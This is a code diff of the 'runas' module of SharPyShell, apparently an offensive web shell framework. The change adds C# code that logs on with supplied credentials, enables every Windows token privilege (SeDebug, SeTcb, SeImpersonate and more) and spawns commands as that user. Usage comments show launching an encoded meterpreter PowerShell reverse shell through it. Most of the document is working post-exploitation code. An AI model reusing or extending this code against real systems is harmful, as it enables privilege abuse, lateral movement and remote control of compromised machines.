skipped 45 lines 46 46 #runas whoami user1 password1 47 47 Run a command as a specific domain user 48 48 #runas whoami user1 password1 domain 49 + Run a command as a specific local user with logon type 2 50 + #runas whoami user1 password1 '' 60000 2 49 51 Run a background/async process as a specific local user, i.e. meterpreter ps1 reverse shell 50 52 #runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' '' '0' 51 53 Run a background/async process as a specific domain user, i.e. meterpreter ps1 reverse shell skipped 7 lines 59 61 60 62 public class SharPyShell 61 63 { 62 - public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid 63 - { 64 - private SafeTokenHandle() 65 - : base(true) 66 - { 67 - } 64 + private const string error_string = "{{{SharPyShellError}}}"; 65 + 66 + private const int LOGON32_PROVIDER_DEFAULT = 0; 67 + private const int LOGON32_PROVIDER_WINNT35 = 1; 68 + private const int LOGON32_PROVIDER_WINNT40 = 2; 69 + private const int LOGON32_PROVIDER_WINNT50 = 3; 70 + 71 + private const uint GENERIC_ALL = 0x10000000; 72 + private const int SecurityImpersonation = 2; 73 + private const int TokenType = 1; 74 + 75 + private const uint SE_PRIVILEGE_ENABLED = 0x00000002; 68 76 69 - [DllImport("kernel32.dll")] 70 - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] 71 - [SuppressUnmanagedCodeSecurity] 72 - [return: MarshalAs(UnmanagedType.Bool)] 73 - private static extern bool CloseHandle(IntPtr handle); 77 + private const uint WAIT_ABANDONED = 0x00000080; 78 + private const uint WAIT_OBJECT_0 = 0x00000000; 79 + private const uint WAIT_TIMEOUT = 0x00000102; 74 80 75 - protected override bool ReleaseHandle() 76 - { 77 - return CloseHandle(handle); 78 - } 81 + [StructLayout(LayoutKind.Sequential)] private struct STARTUPINFO 82 + { 83 + public int cb; 84 + public String lpReserved; 85 + public String lpDesktop; 86 + public String lpTitle; 87 + public uint dwX; 88 + public uint dwY; 89 + public uint dwXSize; 90 + public uint dwYSize; 91 + public uint dwXCountChars; 92 + public uint dwYCountChars; 93 + public uint dwFillAttribute; 94 + public uint dwFlags; 95 + public short wShowWindow; 96 + public short cbReserved2; 97 + public IntPtr lpReserved2; 98 + public IntPtr hStdInput; 99 + public IntPtr hStdOutput; 100 + public IntPtr hStdError; 79 101 } 80 102 81 - [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO 103 + [StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION 82 104 { 83 - public int cb; 84 - public String lpReserved; 85 - public String lpDesktop; 86 - public String lpTitle; 87 - public uint dwX; 88 - public uint dwY; 89 - public uint dwXSize; 90 - public uint dwYSize; 91 - public uint dwXCountChars; 92 - public uint dwYCountChars; 93 - public uint dwFillAttribute; 94 - public uint dwFlags; 95 - public short wShowWindow; 96 - public short cbReserved2; 97 - public IntPtr lpReserved2; 98 - public IntPtr hStdInput; 99 - public IntPtr hStdOutput; 100 - public IntPtr hStdError; 105 + public IntPtr hProcess; 106 + public IntPtr hThread; 107 + public uint dwProcessId; 108 + public uint dwThreadId; 101 109 } 102 110 103 - [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION 111 + [StructLayout(LayoutKind.Sequential)] private struct SECURITY_ATTRIBUTES 104 112 { 105 - public IntPtr hProcess; 106 - public IntPtr hThread; 107 - public uint dwProcessId; 108 - public uint dwThreadId; 113 + public int Length; 114 + public IntPtr lpSecurityDescriptor; 115 + public bool bInheritHandle; 109 116 } 110 117 111 - [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES 118 + [StructLayout(LayoutKind.Sequential)] 119 + private struct LUID 112 120 { 113 - public int Length; 114 - public IntPtr lpSecurityDescriptor; 115 - public bool bInheritHandle; 121 + public int LowPart; 122 + public int HighPart; 123 + } 124 + [StructLayout(LayoutKind.Sequential)] 125 + private struct TOKEN_PRIVILEGES 126 + { 127 + public UInt32 PrivilegeCount; 128 + public LUID Luid; 129 + public UInt32 Attributes; 116 130 } 117 131 118 132 [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] 119 - public static extern bool CloseHandle(IntPtr handle); 133 + private static extern bool CloseHandle(IntPtr handle); 120 134 121 135 [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 122 - public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); 136 + private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); 123 137 124 138 [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)] 125 - public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 139 + private static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 126 140 127 141 [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")] 128 - public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); 142 + private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); 129 143 130 144 [DllImport("kernel32.dll", SetLastError=true)] 131 - public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); 145 + private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); 146 + 147 + [DllImport("advapi32.dll", SetLastError = true)] 148 + private static extern bool AdjustTokenPrivileges(IntPtr tokenhandle, bool disableprivs, [MarshalAs(UnmanagedType.Struct)]ref TOKEN_PRIVILEGES Newstate, int bufferlength, int PreivousState, int Returnlength); 149 + 150 + [DllImport("advapi32.dll", SetLastError = true)] 151 + private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid); 152 + 153 + private sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid 154 + { 155 + private SafeTokenHandle() 156 + : base(true) 157 + { 158 + } 159 + 160 + [DllImport("kernel32.dll")] 161 + [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] 162 + [SuppressUnmanagedCodeSecurity] 163 + [return: MarshalAs(UnmanagedType.Bool)] 164 + private static extern bool CloseHandle(IntPtr handle); 165 + 166 + protected override bool ReleaseHandle() 167 + { 168 + return CloseHandle(handle); 169 + } 170 + } 132 171 133 - const uint WAIT_ABANDONED = 0x00000080; 134 - const uint WAIT_OBJECT_0 = 0x00000000; 135 - const uint WAIT_TIMEOUT = 0x00000102; 172 + private string EnablePrivilege(string privilege, IntPtr token){ 173 + string output = ""; 174 + LUID serLuid = new LUID(); 175 + LUID sebLuid = new LUID(); 176 + TOKEN_PRIVILEGES tokenp = new TOKEN_PRIVILEGES(); 177 + tokenp.PrivilegeCount = 1; 178 + LookupPrivilegeValue(null, privilege, ref sebLuid); 179 + tokenp.Luid = sebLuid; 180 + tokenp.Attributes = SE_PRIVILEGE_ENABLED; 181 + if(!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)){ 182 + output += error_string + "\nAdjustTokenPrivileges on privilege " + privilege + " failed with error code: " + Marshal.GetLastWin32Error(); 183 + } 184 + output += "\nAdjustTokenPrivileges on privilege " + privilege + " succeeded"; 185 + return output; 186 + } 187 + 188 + private string EnableAllPrivileges(IntPtr token) 189 + { 190 + string output=""; 191 + output += EnablePrivilege("SeAssignPrimaryTokenPrivilege", token); 192 + output += EnablePrivilege("SeAuditPrivilege", token); 193 + output += EnablePrivilege("SeBackupPrivilege", token); 194 + output += EnablePrivilege("SeChangeNotifyPrivilege", token); 195 + output += EnablePrivilege("SeCreateGlobalPrivilege", token); 196 + output += EnablePrivilege("SeCreatePagefilePrivilege", token); 197 + output += EnablePrivilege("SeCreatePermanentPrivilege", token); 198 + output += EnablePrivilege("SeCreateSymbolicLinkPrivilege", token); 199 + output += EnablePrivilege("SeCreateTokenPrivilege", token); 200 + output += EnablePrivilege("SeDebugPrivilege", token); 201 + output += EnablePrivilege("SeDelegateSessionUserImpersonatePrivilege", token); 202 + output += EnablePrivilege("SeEnableDelegationPrivilege", token); 203 + output += EnablePrivilege("SeImpersonatePrivilege", token); 204 + output += EnablePrivilege("SeIncreaseBasePriorityPrivilege", token); 205 + output += EnablePrivilege("SeIncreaseQuotaPrivilege", token); 206 + output += EnablePrivilege("SeIncreaseWorkingSetPrivilege", token); 207 + output += EnablePrivilege("SeLoadDriverPrivilege", token); 208 + output += EnablePrivilege("SeLockMemoryPrivilege", token); 209 + output += EnablePrivilege("SeMachineAccountPrivilege", token); 210 + output += EnablePrivilege("SeManageVolumePrivilege", token); 211 + output += EnablePrivilege("SeProfileSingleProcessPrivilege", token); 212 + output += EnablePrivilege("SeRelabelPrivilege", token); 213 + output += EnablePrivilege("SeRemoteShutdownPrivilege", token); 214 + output += EnablePrivilege("SeRestorePrivilege", token); 215 + output += EnablePrivilege("SeSecurityPrivilege", token); 216 + output += EnablePrivilege("SeShutdownPrivilege", token); 217 + output += EnablePrivilege("SeSyncAgentPrivilege", token); 218 + output += EnablePrivilege("SeSystemEnvironmentPrivilege", token); 219 + output += EnablePrivilege("SeSystemProfilePrivilege", token); 220 + output += EnablePrivilege("SeSystemtimePrivilege", token); 221 + output += EnablePrivilege("SeTakeOwnershipPrivilege", token); 222 + output += EnablePrivilege("SeTcbPrivilege", token); 223 + output += EnablePrivilege("SeTimeZonePrivilege", token); 224 + output += EnablePrivilege("SeTrustedCredManAccessPrivilege", token); 225 + output += EnablePrivilege("SeUndockPrivilege", token); 226 + output += EnablePrivilege("SeUnsolicitedInputPrivilege", token); 227 + return output; 228 + } 136 229 137 230 [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")] 138 - public string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout) 231 + private string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout) 139 232 { 140 233 SafeTokenHandle safeTokenHandle; 141 234 string output = ""; 142 - string error_string = "{{{SharPyShellError}}}"; 143 235 try 144 236 { 145 - const int LOGON32_PROVIDER_DEFAULT = 0; 146 - const int LOGON32_PROVIDER_WINNT35 = 1; 147 - const int LOGON32_PROVIDER_WINNT40 = 2; 148 - const int LOGON32_PROVIDER_WINNT50 = 3; 149 237 bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle); 150 238 if (false == returnValue) 151 239 { skipped 2 lines 154 242 } 155 243 using (safeTokenHandle) 156 244 { 157 - using ( WindowsIdentity newId = new WindowsIdentity ( safeTokenHandle.DangerousGetHandle()) ) 245 + IntPtr runasToken = safeTokenHandle.DangerousGetHandle(); 246 + EnableAllPrivileges(runasToken); 247 + 248 + string commandLinePath = ""; 249 + if(process_ms_timeout>0){ 250 + File.Create(stdout_file).Dispose(); 251 + File.Create(stderr_file).Dispose(); 252 + commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file; 253 + } 254 + else{ 255 + commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\""; 256 + } 257 + using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(runasToken)) 158 258 { 159 - using (WindowsImpersonationContext impersonatedUser = newId.Impersonate()) 160 - { 161 - IntPtr Token = new IntPtr(0); 162 - IntPtr DupedToken = new IntPtr(0); 163 - bool ret; 164 - SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); 165 - sa.bInheritHandle = false; 166 - sa.Length = Marshal.SizeOf(sa); 167 - sa.lpSecurityDescriptor = (IntPtr)0; 168 - Token = WindowsIdentity.GetCurrent().Token; 169 - const uint GENERIC_ALL = 0x10000000; 170 - const int SecurityImpersonation = 2; 171 - const int TokenType = 1; 172 - ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); 173 - if (ret == false){ 174 - output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error(); 175 - return output; 176 - } 177 - STARTUPINFO si = new STARTUPINFO(); 178 - si.cb = Marshal.SizeOf(si); 179 - si.lpDesktop = ""; 180 - string commandLinePath = ""; 259 + IntPtr Token = new IntPtr(0); 260 + IntPtr DupedToken = new IntPtr(0); 261 + bool ret; 262 + SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); 263 + sa.bInheritHandle = false; 264 + sa.Length = Marshal.SizeOf(sa); 265 + sa.lpSecurityDescriptor = (IntPtr)0; 266 + Token = WindowsIdentity.GetCurrent().Token; 267 + 268 + ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); 269 + if (ret == false){ 270 + output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error(); 271 + return output; 272 + } 273 + STARTUPINFO si = new STARTUPINFO(); 274 + si.cb = Marshal.SizeOf(si); 275 + si.lpDesktop = ""; 276 + PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 277 + 278 + ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi); 279 + if (ret == false){ 280 + output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error(); 281 + return output; 282 + } 283 + else{ 181 284 if(process_ms_timeout>0){ 182 - File.Create(stdout_file).Dispose(); 183 - File.Create(stderr_file).Dispose(); 184 - commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file; 185 - } 186 - else{ 187 - commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\""; 188 - } 189 - PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 190 - ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi); 191 - if (ret == false){ 192 - output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error(); 193 - return output; 194 - } 195 - else{ 196 - if(process_ms_timeout>0){ 197 - uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout); 198 - if(wait_for == WAIT_OBJECT_0){ 199 - output += File.ReadAllText(stdout_file); 200 - string errors = File.ReadAllText(stderr_file); 201 - if (!String.IsNullOrEmpty(errors)) 202 - output += error_string + "\n" + errors; 203 - } 204 - else{ 205 - output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error(); 206 - } 207 - File.Delete(stdout_file); 208 - File.Delete(stderr_file); 285 + uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout); 286 + if(wait_for == WAIT_OBJECT_0){ 287 + output += File.ReadAllText(stdout_file); 288 + string errors = File.ReadAllText(stderr_file); 289 + if (!String.IsNullOrEmpty(errors)) 290 + output += error_string + "\n" + errors; 209 291 } 210 292 else{ 211 - output += "\nAsync process with pid " + pi.dwProcessId + " created"; 293 + output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error(); 212 294 } 213 - CloseHandle(pi.hProcess); 214 - CloseHandle(pi.hThread); 295 + File.Delete(stdout_file); 296 + File.Delete(stderr_file); 297 + } 298 + else{ 299 + output += "\nAsync process with pid " + pi.dwProcessId + " created"; 215 300 } 216 - CloseHandle(DupedToken ); 301 + CloseHandle(pi . hProcess ); 302 + CloseHandle(pi.hThread); 217 303 } 304 + CloseHandle(DupedToken); 218 305 } 219 306 } 220 307 } skipped 43 lines